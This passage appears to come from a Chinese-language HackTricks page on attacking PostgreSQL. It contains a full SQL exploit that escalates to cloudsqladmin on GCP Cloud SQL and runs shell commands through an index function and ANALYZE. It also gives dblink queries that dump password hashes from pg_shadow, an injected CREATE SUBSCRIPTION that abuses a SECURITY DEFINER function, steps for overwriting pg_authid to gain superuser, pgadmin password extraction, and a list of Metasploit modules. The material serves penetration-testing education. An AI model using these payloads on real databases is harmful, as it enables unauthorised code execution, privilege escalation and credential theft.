WITH SUPERUSER;"';
```
{% hint style="info" %}
这通常是因为 **`pg_hba.conf`** 文件中的以下行:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE privesc**
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何在Postgres GCP中利用授予用户的ALTER TABLE权限实现**privesc**。
当你尝试**将另一个用户设为表的所有者**时,应该会收到一个**错误**来阻止它,但显然GCP给了**非超级用户postgres用户**这个**选项**:
将这个想法与**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)命令在**具有索引函数的表**上执行时,**函数**作为命令的一部分以**表****所有者的权限**被**调用**的事实结合起来。可以创建一个带有函数的索引,并将该表的所有者权限授予**超级用户**,然后在该表上运行ANALYZE,使用恶意函数执行命令,因为它使用的是所有者的权限。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### 利用
1. 首先创建一个新表。
2. 向表中插入一些无关内容,以提供索引函数的数据。
3. 开发一个包含代码执行有效负载的恶意索引函数,允许执行未经授权的命令。
4. 将表的所有者更改为“cloudsqladmin”,这是GCP的超级用户角色,仅用于Cloud SQL管理和维护数据库。
5. 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者“cloudsqladmin”的用户上下文。因此,恶意索引函数以“cloudsqladmin”的权限被调用,从而使之前未经授权的shell命令得以执行。
在PostgreSQL中,这个流程看起来像这样:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
然后,`shell_commands_results` 表将包含执行代码的输出:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### 本地登录
一些配置错误的 postgresql 实例可能允许任何本地用户登录,可以使用 **`dblink` function** 从 127.0.0.1 本地登录:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
请注意,之前的查询要正常工作**需要存在函数 `dblink`**。如果不存在,您可以尝试使用以下命令创建它。
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
如果您拥有具有更高权限的用户的密码,但该用户不允许从外部 IP 登录,您可以使用以下函数以该用户的身份执行查询:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
可以通过以下方式检查此函数是否存在:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **自定义定义的函数与** SECURITY DEFINER
[**在这篇文章中**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql),渗透测试人员能够在IBM提供的postgres实例中进行权限提升,因为他们**发现了这个带有SECURITY DEFINER标志的函数**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html),带有**SECURITY DEFINER的函数是以** **拥有者的权限** **执行的**。因此,如果该函数**易受SQL注入攻击**或正在执行一些**由攻击者控制的参数的特权操作**,则可能被滥用以**在postgres中提升权限**。
在前面代码的第4行中可以看到该函数具有**SECURITY DEFINER**标志。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
然后**执行命令**:
### 使用 PL/pgSQL 进行密码暴力破解
**PL/pgSQL** 是一种**功能齐全的编程语言**,相比 SQL 提供了更强的过程控制。它支持使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL 语句**和**触发器**能够调用使用**PL/pgSQL 语言**创建的函数。这种集成使得数据库编程和自动化的方法更加全面和灵活。\
**您可以利用这种语言请求 PostgreSQL 进行用户凭据的暴力破解。**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### 通过覆盖内部 PostgreSQL 表进行权限提升
{% hint style="info" %}
以下权限提升向量在受限的 SQLi 环境中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
{% endhint %}
如果您可以**读取和写入 PostgreSQL 服务器文件**,您可以通过覆盖与内部 `pg_authid` 表相关联的 PostgreSQL 磁盘文件节点来**成为超级用户**。
有关**此技术**的更多信息,请[**点击这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**。**
攻击步骤如下:
1. 获取 PostgreSQL 数据目录
2. 获取与 `pg_authid` 表相关联的文件节点的相对路径
3. 通过 `lo_*` 函数下载文件节点
4. 获取与 `pg_authid` 表相关联的数据类型
5. 使用 [PostgreSQL 文件节点编辑器](https://github.com/adeadfed/postgresql-filenode-editor) [编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table);将所有 `rol*` 布尔标志设置为 1 以获得完全权限。
6. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
7. _(可选)_ 通过运行一个昂贵的 SQL 查询清除内存中的表缓存
8. 现在您应该拥有完整超级管理员的权限。
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### logging
在 _**postgresql.conf**_ 文件中,您可以通过更改以下内容来启用 postgresql 日志:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql//main/log/
#or in /var/lib/postgresql//main/pg_log/
```
然后,**重启服务**。
### pgadmin
[pgadmin](https://www.pgadmin.org) 是一个用于 PostgreSQL 的管理和开发平台。\
您可以在 _**pgadmin4.db**_ 文件中找到 **密码**。\
您可以使用脚本中的 _**decrypt**_ 函数对其进行解密:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
PostgreSQL中的客户端身份验证通过一个名为**pg\_hba.conf**的配置文件进行管理。该文件包含一系列记录,每条记录指定了连接类型、客户端IP地址范围(如适用)、数据库名称、用户名以及用于匹配连接的身份验证方法。第一个匹配连接类型、客户端地址、请求的数据库和用户名的记录将用于身份验证。如果身份验证失败,则没有后备或备份。如果没有记录匹配,则拒绝访问。
在pg\_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同:MD5哈希、加密或明文。需要注意的是,crypt方法不能与在pg\_authid中加密的密码一起使用。
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}